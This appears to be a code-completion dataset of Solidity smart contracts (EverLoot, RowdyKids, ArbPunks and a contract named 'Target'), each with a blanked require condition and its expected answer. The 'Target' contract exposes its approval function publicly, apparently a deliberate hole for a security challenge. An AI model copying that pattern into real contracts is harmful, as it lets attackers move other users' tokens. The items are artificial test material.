withdraw ETH */ function withdrawAll() external nonReentrant onlyRole(DEFAULT_ADMIN_ROLE) { } /************************* OVERRIDES *************************/ // required by Solidity function supportsInterface(bytes4 interfaceId) public view override(ERC721A, AccessControl) returns (bool) { } /** * Change the starting tokenId to 1 */ function _startTokenId() internal pure override(ERC721A) returns (uint256) { } }
verifyClaim(merkleProof,_lootRoots[rootId],leaf),"Incorrect merkle proof!"
191,475
verifyClaim(merkleProof,_lootRoots[rootId],leaf)
"Already claimed items!"
// SPDX-License-Identifier: MIT // // Made with love from @muddotxyz // @author st4rgard3n @KyleSt4rgarden @c0mput3rxz @gvanderest // '||''''| '|| . // || . .... ... .... ... .. || ... ... .||. // ||''| '|. | .|...|| ||' '' || .| '|. .| '|. || // || '|.| || || || || || || || || // .||.....| '| '|...' .||. .||. '|..|' '|..|' '|.' pragma solidity ^0.8.2; import "./Parents/ERC721A.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // @todo Edit price just prior to launch contract EverLoot is ERC721A, AccessControl, ReentrancyGuard { bytes32 public constant ROOT_ROLE = keccak256("ROOT_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // max number of EverLoot that can be minted per call uint public constant MAXMINT = 10; // the Heroes of Evermore contract IERC721 public constant HEROES = IERC721(0xf1eF40f5aEa5D1501C1B8BCD216CF305764fca40); /************************* MAPPING STRUCTS EVENTS *************************/ // tracks the merkle roots for each loot claim mapping(uint => bytes32) private _lootRoots; // tracks if user has claimed loot for a particular root mapping(address => mapping(uint => uint)) private _claimedLoot; // tracks if user has claimed prizes for a particular root mapping(address => mapping(uint => uint)) private _claimedPrize; // tracks if a user has completed the tutorial with this token mapping(address => mapping(uint => bool)) public _tutorialClaimed; // tracks a full bulk claim event ClaimLoot(address indexed to, uint256[] indexed indexedUniqueItemIds, uint256 indexed startingTokenId, uint256[] uniqueItemIds); // tracks a full prize claim event ClaimPrize(address indexed to, uint[] tokenIds, address[] tokenAddresses); // tracks a forged loot chunk event Forge(address indexed to, uint256 indexed amount, uint256 indexed startingTokenId, string forgeType); // tracks the promotion of claims on chain event PromoteClaims(uint rootIndex, bytes32 lootRoot); /************************* STATE VARIABLES *************************/ // price of each EverLoot token uint private _price = 0.025 ether; // pauses minting when true bool private _paused = true; // increments when a weekly lootRoot is written uint private _rootIndex = 0; // baseURI for accessing token metadata string private _baseTokenURI; constructor() ERC721A("EverLoot", "EVER") { } /************************* MODIFIERS *************************/ /** * @dev Modifier for preventing calls from contracts * Safety feature for preventing malicious contract call backs */ modifier callerIsUser() { } /** * @dev Modifier for preventing function calls * Safety feature that enforces the _paused */ modifier notPaused() { } /************************* VIEW AND PURE FUNCTIONS *************************/ /** * @dev Helper function for validating a merkle proof and leaf * @param merkleProof is an array of proofs needed to authenticate a transaction * @param root is used along with proofs and our leaf to authenticate our transaction * @param leaf is generated from parameter data which can be enforced */ function verifyClaim( bytes32[] memory merkleProof, bytes32 root, bytes32 leaf ) public pure returns (bool valid) { } /** * @dev Internal function for returning the token URI * wrapped with showBaseUri */ function _baseURI() internal view virtual override returns (string memory) { } /** * @dev Public function for returning the base token URI * wraps _baseURI() function */ function returnBaseURI() public view returns (string memory) { } /** * @dev Public function for returning the price * wraps _price state variable */ function getPrice() public view returns (uint price) { } /** * @dev Public function for returning the current root index * wraps _rootIndex state variable */ function getRootIndex() public view returns (uint rootIndex) { } /** * @dev Public function for returning if a user has already claimed * @param claimedIndex the _claimedLoot index to check * @param user the user address to check * wraps _claimedLoot mapping */ function getClaimStatus(uint claimedIndex, address user) public view returns (uint status) { } /** * @dev Public function for returning if a user has already completed the tutorial for this character * @param characterId the token id of the character to check * @param user the user address to check * wraps _tutorialClaimed mapping */ function getTutorialStatus(uint characterId, address user) public view returns (bool status) { } /** * @dev Public function for returning the pause status * helper function for front end consumption */ function isPaused() public view returns (bool) { } /************************* USER FUNCTIONS *************************/ /** * @dev claims all earned NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param uniqueItemIds is the array of items the user is claiming * @param merkleProof is an array of proofs needed to authenticate a transaction */ function claimLoot( address to, uint256 rootId, uint256[] calldata uniqueItemIds, bytes32[] calldata merkleProof ) external callerIsUser notPaused { } /** * @dev claims all prize NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param tokenIds is the array of items the user is claiming * @param tokenAddresses is the array of NFT contract addresses * @param merkleProof is an array of proof needed to authenticate a transaction */ function claimPrize( address to, uint rootId, uint[] calldata tokenIds, address[] calldata tokenAddresses, bytes32[] calldata merkleProof ) external callerIsUser notPaused { // require that user hasn't already claimed these prizes require(<FILL_ME>) // require that our array lengths match require(tokenIds.length == tokenAddresses.length, "Arrays don't match!"); // build our leaf from the user address, token Ids and token contract addresses bytes32 leaf = keccak256(abi.encodePacked(to, tokenIds, tokenAddresses)); // authenticate and enforce the correct token ids, contracts and user user require(verifyClaim(merkleProof, _lootRoots[rootId], leaf), "Incorrect merkle proof!"); // set the claimed status for user _claimedPrize[to][rootId] = 1; // log data for user claiming which tokens and collection emit ClaimPrize(to, tokenIds, tokenAddresses); for (uint256 i; i < tokenIds.length; i++) { // instantiate an interface for the ERC721 prize contract IERC721 prizeContract = IERC721(tokenAddresses[i]); // transfer token to prize winner prizeContract.transferFrom(address(this), to, tokenIds[i]); } } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function forge(uint amount) external payable callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param tokenId The Heroes of Evermore character minting the token */ function tutorial(uint tokenId) external callerIsUser notPaused { } /************************* ACCESS CONTROL FUNCTIONS *************************/ /** * @dev Access control function allows Battle for Evermore to post new root hashes * @param newIndex the new index of our loot root mapping * @param newRoot the new merkle root to be stored on chain */ function newLootRoot( uint newIndex, bytes32 newRoot ) external onlyRole(ROOT_ROLE) { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function specialForge(address to, uint amount, string calldata forgeType) external onlyRole(MINTER_ROLE) notPaused { } /** * @dev Access control function allows PAUSER_ROLE to toggle _paused flag * @param setPaused the new status of the paused variable */ function setPause( bool setPaused ) external onlyRole(PAUSER_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to change the URI * @param newBaseURI the new base token URI */ function setBaseURI(string calldata newBaseURI) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to withdraw ETH */ function withdrawAll() external nonReentrant onlyRole(DEFAULT_ADMIN_ROLE) { } /************************* OVERRIDES *************************/ // required by Solidity function supportsInterface(bytes4 interfaceId) public view override(ERC721A, AccessControl) returns (bool) { } /** * Change the starting tokenId to 1 */ function _startTokenId() internal pure override(ERC721A) returns (uint256) { } }
_claimedPrize[to][rootId]==0,"Already claimed items!"
191,475
_claimedPrize[to][rootId]==0
"Already claimed tutorial gear!"
// SPDX-License-Identifier: MIT // // Made with love from @muddotxyz // @author st4rgard3n @KyleSt4rgarden @c0mput3rxz @gvanderest // '||''''| '|| . // || . .... ... .... ... .. || ... ... .||. // ||''| '|. | .|...|| ||' '' || .| '|. .| '|. || // || '|.| || || || || || || || || // .||.....| '| '|...' .||. .||. '|..|' '|..|' '|.' pragma solidity ^0.8.2; import "./Parents/ERC721A.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // @todo Edit price just prior to launch contract EverLoot is ERC721A, AccessControl, ReentrancyGuard { bytes32 public constant ROOT_ROLE = keccak256("ROOT_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // max number of EverLoot that can be minted per call uint public constant MAXMINT = 10; // the Heroes of Evermore contract IERC721 public constant HEROES = IERC721(0xf1eF40f5aEa5D1501C1B8BCD216CF305764fca40); /************************* MAPPING STRUCTS EVENTS *************************/ // tracks the merkle roots for each loot claim mapping(uint => bytes32) private _lootRoots; // tracks if user has claimed loot for a particular root mapping(address => mapping(uint => uint)) private _claimedLoot; // tracks if user has claimed prizes for a particular root mapping(address => mapping(uint => uint)) private _claimedPrize; // tracks if a user has completed the tutorial with this token mapping(address => mapping(uint => bool)) public _tutorialClaimed; // tracks a full bulk claim event ClaimLoot(address indexed to, uint256[] indexed indexedUniqueItemIds, uint256 indexed startingTokenId, uint256[] uniqueItemIds); // tracks a full prize claim event ClaimPrize(address indexed to, uint[] tokenIds, address[] tokenAddresses); // tracks a forged loot chunk event Forge(address indexed to, uint256 indexed amount, uint256 indexed startingTokenId, string forgeType); // tracks the promotion of claims on chain event PromoteClaims(uint rootIndex, bytes32 lootRoot); /************************* STATE VARIABLES *************************/ // price of each EverLoot token uint private _price = 0.025 ether; // pauses minting when true bool private _paused = true; // increments when a weekly lootRoot is written uint private _rootIndex = 0; // baseURI for accessing token metadata string private _baseTokenURI; constructor() ERC721A("EverLoot", "EVER") { } /************************* MODIFIERS *************************/ /** * @dev Modifier for preventing calls from contracts * Safety feature for preventing malicious contract call backs */ modifier callerIsUser() { } /** * @dev Modifier for preventing function calls * Safety feature that enforces the _paused */ modifier notPaused() { } /************************* VIEW AND PURE FUNCTIONS *************************/ /** * @dev Helper function for validating a merkle proof and leaf * @param merkleProof is an array of proofs needed to authenticate a transaction * @param root is used along with proofs and our leaf to authenticate our transaction * @param leaf is generated from parameter data which can be enforced */ function verifyClaim( bytes32[] memory merkleProof, bytes32 root, bytes32 leaf ) public pure returns (bool valid) { } /** * @dev Internal function for returning the token URI * wrapped with showBaseUri */ function _baseURI() internal view virtual override returns (string memory) { } /** * @dev Public function for returning the base token URI * wraps _baseURI() function */ function returnBaseURI() public view returns (string memory) { } /** * @dev Public function for returning the price * wraps _price state variable */ function getPrice() public view returns (uint price) { } /** * @dev Public function for returning the current root index * wraps _rootIndex state variable */ function getRootIndex() public view returns (uint rootIndex) { } /** * @dev Public function for returning if a user has already claimed * @param claimedIndex the _claimedLoot index to check * @param user the user address to check * wraps _claimedLoot mapping */ function getClaimStatus(uint claimedIndex, address user) public view returns (uint status) { } /** * @dev Public function for returning if a user has already completed the tutorial for this character * @param characterId the token id of the character to check * @param user the user address to check * wraps _tutorialClaimed mapping */ function getTutorialStatus(uint characterId, address user) public view returns (bool status) { } /** * @dev Public function for returning the pause status * helper function for front end consumption */ function isPaused() public view returns (bool) { } /************************* USER FUNCTIONS *************************/ /** * @dev claims all earned NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param uniqueItemIds is the array of items the user is claiming * @param merkleProof is an array of proofs needed to authenticate a transaction */ function claimLoot( address to, uint256 rootId, uint256[] calldata uniqueItemIds, bytes32[] calldata merkleProof ) external callerIsUser notPaused { } /** * @dev claims all prize NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param tokenIds is the array of items the user is claiming * @param tokenAddresses is the array of NFT contract addresses * @param merkleProof is an array of proof needed to authenticate a transaction */ function claimPrize( address to, uint rootId, uint[] calldata tokenIds, address[] calldata tokenAddresses, bytes32[] calldata merkleProof ) external callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function forge(uint amount) external payable callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param tokenId The Heroes of Evermore character minting the token */ function tutorial(uint tokenId) external callerIsUser notPaused { // require that user is claiming less than 10 require(<FILL_ME>) // require that the user owns the hero they are claiming require(HEROES.ownerOf(tokenId) == _msgSender(), "Doesn't own the hero!"); // emit data for generating loot tokens emit Forge(_msgSender(), 1, _currentIndex, "tutorial"); // mark user as claiming for this tokenId _tutorialClaimed[_msgSender()][tokenId] = true; // mints the new tokens to the user _safeMint(_msgSender(), 1); } /************************* ACCESS CONTROL FUNCTIONS *************************/ /** * @dev Access control function allows Battle for Evermore to post new root hashes * @param newIndex the new index of our loot root mapping * @param newRoot the new merkle root to be stored on chain */ function newLootRoot( uint newIndex, bytes32 newRoot ) external onlyRole(ROOT_ROLE) { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function specialForge(address to, uint amount, string calldata forgeType) external onlyRole(MINTER_ROLE) notPaused { } /** * @dev Access control function allows PAUSER_ROLE to toggle _paused flag * @param setPaused the new status of the paused variable */ function setPause( bool setPaused ) external onlyRole(PAUSER_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to change the URI * @param newBaseURI the new base token URI */ function setBaseURI(string calldata newBaseURI) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to withdraw ETH */ function withdrawAll() external nonReentrant onlyRole(DEFAULT_ADMIN_ROLE) { } /************************* OVERRIDES *************************/ // required by Solidity function supportsInterface(bytes4 interfaceId) public view override(ERC721A, AccessControl) returns (bool) { } /** * Change the starting tokenId to 1 */ function _startTokenId() internal pure override(ERC721A) returns (uint256) { } }
!getTutorialStatus(tokenId,_msgSender()),"Already claimed tutorial gear!"
191,475
!getTutorialStatus(tokenId,_msgSender())
"Doesn't own the hero!"
// SPDX-License-Identifier: MIT // // Made with love from @muddotxyz // @author st4rgard3n @KyleSt4rgarden @c0mput3rxz @gvanderest // '||''''| '|| . // || . .... ... .... ... .. || ... ... .||. // ||''| '|. | .|...|| ||' '' || .| '|. .| '|. || // || '|.| || || || || || || || || // .||.....| '| '|...' .||. .||. '|..|' '|..|' '|.' pragma solidity ^0.8.2; import "./Parents/ERC721A.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // @todo Edit price just prior to launch contract EverLoot is ERC721A, AccessControl, ReentrancyGuard { bytes32 public constant ROOT_ROLE = keccak256("ROOT_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // max number of EverLoot that can be minted per call uint public constant MAXMINT = 10; // the Heroes of Evermore contract IERC721 public constant HEROES = IERC721(0xf1eF40f5aEa5D1501C1B8BCD216CF305764fca40); /************************* MAPPING STRUCTS EVENTS *************************/ // tracks the merkle roots for each loot claim mapping(uint => bytes32) private _lootRoots; // tracks if user has claimed loot for a particular root mapping(address => mapping(uint => uint)) private _claimedLoot; // tracks if user has claimed prizes for a particular root mapping(address => mapping(uint => uint)) private _claimedPrize; // tracks if a user has completed the tutorial with this token mapping(address => mapping(uint => bool)) public _tutorialClaimed; // tracks a full bulk claim event ClaimLoot(address indexed to, uint256[] indexed indexedUniqueItemIds, uint256 indexed startingTokenId, uint256[] uniqueItemIds); // tracks a full prize claim event ClaimPrize(address indexed to, uint[] tokenIds, address[] tokenAddresses); // tracks a forged loot chunk event Forge(address indexed to, uint256 indexed amount, uint256 indexed startingTokenId, string forgeType); // tracks the promotion of claims on chain event PromoteClaims(uint rootIndex, bytes32 lootRoot); /************************* STATE VARIABLES *************************/ // price of each EverLoot token uint private _price = 0.025 ether; // pauses minting when true bool private _paused = true; // increments when a weekly lootRoot is written uint private _rootIndex = 0; // baseURI for accessing token metadata string private _baseTokenURI; constructor() ERC721A("EverLoot", "EVER") { } /************************* MODIFIERS *************************/ /** * @dev Modifier for preventing calls from contracts * Safety feature for preventing malicious contract call backs */ modifier callerIsUser() { } /** * @dev Modifier for preventing function calls * Safety feature that enforces the _paused */ modifier notPaused() { } /************************* VIEW AND PURE FUNCTIONS *************************/ /** * @dev Helper function for validating a merkle proof and leaf * @param merkleProof is an array of proofs needed to authenticate a transaction * @param root is used along with proofs and our leaf to authenticate our transaction * @param leaf is generated from parameter data which can be enforced */ function verifyClaim( bytes32[] memory merkleProof, bytes32 root, bytes32 leaf ) public pure returns (bool valid) { } /** * @dev Internal function for returning the token URI * wrapped with showBaseUri */ function _baseURI() internal view virtual override returns (string memory) { } /** * @dev Public function for returning the base token URI * wraps _baseURI() function */ function returnBaseURI() public view returns (string memory) { } /** * @dev Public function for returning the price * wraps _price state variable */ function getPrice() public view returns (uint price) { } /** * @dev Public function for returning the current root index * wraps _rootIndex state variable */ function getRootIndex() public view returns (uint rootIndex) { } /** * @dev Public function for returning if a user has already claimed * @param claimedIndex the _claimedLoot index to check * @param user the user address to check * wraps _claimedLoot mapping */ function getClaimStatus(uint claimedIndex, address user) public view returns (uint status) { } /** * @dev Public function for returning if a user has already completed the tutorial for this character * @param characterId the token id of the character to check * @param user the user address to check * wraps _tutorialClaimed mapping */ function getTutorialStatus(uint characterId, address user) public view returns (bool status) { } /** * @dev Public function for returning the pause status * helper function for front end consumption */ function isPaused() public view returns (bool) { } /************************* USER FUNCTIONS *************************/ /** * @dev claims all earned NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param uniqueItemIds is the array of items the user is claiming * @param merkleProof is an array of proofs needed to authenticate a transaction */ function claimLoot( address to, uint256 rootId, uint256[] calldata uniqueItemIds, bytes32[] calldata merkleProof ) external callerIsUser notPaused { } /** * @dev claims all prize NFTs for a specific claim period * @param to is the address which receives minted tokens * @param rootId is used to determine which loot root we access * @param tokenIds is the array of items the user is claiming * @param tokenAddresses is the array of NFT contract addresses * @param merkleProof is an array of proof needed to authenticate a transaction */ function claimPrize( address to, uint rootId, uint[] calldata tokenIds, address[] calldata tokenAddresses, bytes32[] calldata merkleProof ) external callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function forge(uint amount) external payable callerIsUser notPaused { } /** * @dev Forges new EverLoot tokens to the function caller * @param tokenId The Heroes of Evermore character minting the token */ function tutorial(uint tokenId) external callerIsUser notPaused { // require that user is claiming less than 10 require(!getTutorialStatus(tokenId, _msgSender()), "Already claimed tutorial gear!"); // require that the user owns the hero they are claiming require(<FILL_ME>) // emit data for generating loot tokens emit Forge(_msgSender(), 1, _currentIndex, "tutorial"); // mark user as claiming for this tokenId _tutorialClaimed[_msgSender()][tokenId] = true; // mints the new tokens to the user _safeMint(_msgSender(), 1); } /************************* ACCESS CONTROL FUNCTIONS *************************/ /** * @dev Access control function allows Battle for Evermore to post new root hashes * @param newIndex the new index of our loot root mapping * @param newRoot the new merkle root to be stored on chain */ function newLootRoot( uint newIndex, bytes32 newRoot ) external onlyRole(ROOT_ROLE) { } /** * @dev Forges new EverLoot tokens to the function caller * @param amount the number of tokens to forge */ function specialForge(address to, uint amount, string calldata forgeType) external onlyRole(MINTER_ROLE) notPaused { } /** * @dev Access control function allows PAUSER_ROLE to toggle _paused flag * @param setPaused the new status of the paused variable */ function setPause( bool setPaused ) external onlyRole(PAUSER_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to change the URI * @param newBaseURI the new base token URI */ function setBaseURI(string calldata newBaseURI) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev Access control function allows DEFAULT_ADMIN_ROLE to withdraw ETH */ function withdrawAll() external nonReentrant onlyRole(DEFAULT_ADMIN_ROLE) { } /************************* OVERRIDES *************************/ // required by Solidity function supportsInterface(bytes4 interfaceId) public view override(ERC721A, AccessControl) returns (bool) { } /** * Change the starting tokenId to 1 */ function _startTokenId() internal pure override(ERC721A) returns (uint256) { } }
HEROES.ownerOf(tokenId)==_msgSender(),"Doesn't own the hero!"
191,475
HEROES.ownerOf(tokenId)==_msgSender()
"Target: You are not a whale"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.0; contract Target { address private _owner; address private _implementation; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; constructor(address implementation) { } // Modifiers modifier onlyOwner() { } modifier onlyWhale() { require(<FILL_ME>) _; } // View functions function owner() public view returns (address) { } function implementation() public view returns (address) { } function balanceOf(address account) public view returns (uint256) { } function allowance(address account, address spender) public view returns (uint256) { } // Public functions function getAirdrop() public { } function approve(address spender, uint256 value) public { } function transferFrom(address sender, address recipient, uint256 amount) public { } function mint(address receiver, uint256 amount) onlyOwner public { } function withdraw() onlyOwner public { } function changeImplementation(address newImplementation) onlyWhale public { } receive() external payable {} fallback() external payable {} // Private functions function _getAirdrop() private { } function _approve(address account, address spender, uint256 value) public { } function _mint(address receiver, uint256 amount) private { } function _withdraw() private { } function _changeImplementation(address newImplementation) private { } }
_balances[msg.sender]>=3e18,"Target: You are not a whale"
191,545
_balances[msg.sender]>=3e18
"Cannot claim airdrop"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.0; contract Target { address private _owner; address private _implementation; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; constructor(address implementation) { } // Modifiers modifier onlyOwner() { } modifier onlyWhale() { } // View functions function owner() public view returns (address) { } function implementation() public view returns (address) { } function balanceOf(address account) public view returns (uint256) { } function allowance(address account, address spender) public view returns (uint256) { } // Public functions function getAirdrop() public { } function approve(address spender, uint256 value) public { } function transferFrom(address sender, address recipient, uint256 amount) public { } function mint(address receiver, uint256 amount) onlyOwner public { } function withdraw() onlyOwner public { } function changeImplementation(address newImplementation) onlyWhale public { } receive() external payable {} fallback() external payable {} // Private functions function _getAirdrop() private { require(<FILL_ME>) _balances[msg.sender] = 1e18; } function _approve(address account, address spender, uint256 value) public { } function _mint(address receiver, uint256 amount) private { } function _withdraw() private { } function _changeImplementation(address newImplementation) private { } }
_balances[msg.sender]==0,"Cannot claim airdrop"
191,545
_balances[msg.sender]==0
"Target: cannot mint to whale"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.0; contract Target { address private _owner; address private _implementation; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; constructor(address implementation) { } // Modifiers modifier onlyOwner() { } modifier onlyWhale() { } // View functions function owner() public view returns (address) { } function implementation() public view returns (address) { } function balanceOf(address account) public view returns (uint256) { } function allowance(address account, address spender) public view returns (uint256) { } // Public functions function getAirdrop() public { } function approve(address spender, uint256 value) public { } function transferFrom(address sender, address recipient, uint256 amount) public { } function mint(address receiver, uint256 amount) onlyOwner public { } function withdraw() onlyOwner public { } function changeImplementation(address newImplementation) onlyWhale public { } receive() external payable {} fallback() external payable {} // Private functions function _getAirdrop() private { } function _approve(address account, address spender, uint256 value) public { } function _mint(address receiver, uint256 amount) private { require(receiver != address(0), "Target: mint to the zero address"); require(<FILL_ME>) _balances[receiver] = _balances[receiver] + amount; } function _withdraw() private { } function _changeImplementation(address newImplementation) private { } }
_balances[receiver]<3e18,"Target: cannot mint to whale"
191,545
_balances[receiver]<3e18
"SOLDOUT"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract RowdyKids is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard { using SafeMath for uint256; using Counters for Counters.Counter; enum State { None, Sale, End } string internal baseURI; string public provenance; State public state = State.Sale; uint256 public saleStartTime = 1662379200; Counters.Counter private _tokenIdCounter; uint256 public maxFreeMint = 2; uint256 public exceedMintPrice = 0.01 ether; uint256 public maxTokenSupply = 10000; uint256 public constant MAX_MINTS_PER_TX = 10; mapping (address => uint256) private _freeMinted; constructor() ERC721("RowdyKids", "RKT") { } function setMaxTokenSupply(uint256 _maxTokenSupply) public onlyOwner { } function setMaxFreeMint(uint256 _maxFreeMint) public onlyOwner { } function setExceedMintPrice(uint256 _exceedMintPrice) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory newBaseURI) public onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override(ERC721) returns (string memory) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable) { } function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { } /* * Set provenance once it's calculated */ function setProvenanceHash(string memory _provenanceHash) public onlyOwner { } function setSaleStartTime( uint256 _saleStartTime) public onlyOwner { } function setSaleState(uint256 index) public onlyOwner { } /* * Public Sale Mint RowdyKids NFTs */ function mint(uint _numberOfTokens) public payable nonReentrant { require(state == State.Sale, "NOT_SALE_STATE"); require(block.timestamp >= saleStartTime, "NOT_SALE_TIME"); require(_numberOfTokens <= MAX_MINTS_PER_TX, "MAX_MINT/TX_EXCEEDS"); require(<FILL_ME>) uint256 availableFreeMints = 0; (, availableFreeMints) = SafeMath.trySub(maxFreeMint, _freeMinted[_msgSender()]); uint256 mintCost = 0; if( _numberOfTokens > availableFreeMints) mintCost = (_numberOfTokens - availableFreeMints) * exceedMintPrice; require(mintCost == msg.value, "PRICE_ISNT_CORRECT"); _freeMinted[msg.sender] += _numberOfTokens; for(uint256 i = 0; i < _numberOfTokens; i++) { uint256 mintIndex = _tokenIdCounter.current() + 1; if (mintIndex <= maxTokenSupply) { _safeMint(msg.sender, mintIndex); _tokenIdCounter.increment(); } } } /* * Mint reserved NFTs for giveaways, dev, etc. */ function reserveMint(uint256 reservedAmount) public onlyOwner nonReentrant { } function withdrawAll() public onlyOwner nonReentrant { } }
totalSupply()+_numberOfTokens<=maxTokenSupply,"SOLDOUT"
191,577
totalSupply()+_numberOfTokens<=maxTokenSupply
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract RowdyKids is ERC721, ERC721Enumerable, Ownable, ReentrancyGuard { using SafeMath for uint256; using Counters for Counters.Counter; enum State { None, Sale, End } string internal baseURI; string public provenance; State public state = State.Sale; uint256 public saleStartTime = 1662379200; Counters.Counter private _tokenIdCounter; uint256 public maxFreeMint = 2; uint256 public exceedMintPrice = 0.01 ether; uint256 public maxTokenSupply = 10000; uint256 public constant MAX_MINTS_PER_TX = 10; mapping (address => uint256) private _freeMinted; constructor() ERC721("RowdyKids", "RKT") { } function setMaxTokenSupply(uint256 _maxTokenSupply) public onlyOwner { } function setMaxFreeMint(uint256 _maxFreeMint) public onlyOwner { } function setExceedMintPrice(uint256 _exceedMintPrice) public onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory newBaseURI) public onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override(ERC721) returns (string memory) { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable) { } function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { } /* * Set provenance once it's calculated */ function setProvenanceHash(string memory _provenanceHash) public onlyOwner { } function setSaleStartTime( uint256 _saleStartTime) public onlyOwner { } function setSaleState(uint256 index) public onlyOwner { } /* * Public Sale Mint RowdyKids NFTs */ function mint(uint _numberOfTokens) public payable nonReentrant { } /* * Mint reserved NFTs for giveaways, dev, etc. */ function reserveMint(uint256 reservedAmount) public onlyOwner nonReentrant { require(<FILL_ME>) uint256 mintIndex = _tokenIdCounter.current() + 1; for (uint256 i = 0; i < reservedAmount; i++) { _safeMint(msg.sender, mintIndex + i); _tokenIdCounter.increment(); } } function withdrawAll() public onlyOwner nonReentrant { } }
totalSupply()+reservedAmount<=maxTokenSupply
191,577
totalSupply()+reservedAmount<=maxTokenSupply
"The airdrop token Id cannot be greater than 500"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract BigSmileClud is ERC721,Ownable { using Counters for Counters.Counter; // Constants uint256 public constant TOTAL_SUPPLY = 2799; uint256 public MINT_PRICE = 4000000000000000; uint256 public MINT_COUNT = 5; mapping(address => uint) use; Counters.Counter private currentTokenId; /// @dev Base token URI used as a prefix by tokenURI(). string public baseTokenURI; constructor() ERC721("ArbPunks", "ArbPunks") { } function airdrop(uint[] memory tokenIds,address recipient) public onlyOwner returns(uint[] memory){ uint[] memory result = new uint[](tokenIds.length); for(uint i=0; i< tokenIds.length; i++){ require(<FILL_ME>) } for(uint i=0; i< tokenIds.length; i++){ _safeMint(recipient, tokenIds[i]); result[i] = tokenIds[i]; } return result; } function batchMint(uint256 amount) public payable returns(uint[] memory){ } function mint() public payable returns (uint256){ } function _mint() private returns (uint256){ } /// @dev Returns an URI for a given token ID function _baseURI() internal view virtual override returns (string memory) { } /// @dev Sets the base token URI prefix. function setBaseTokenURI(string memory 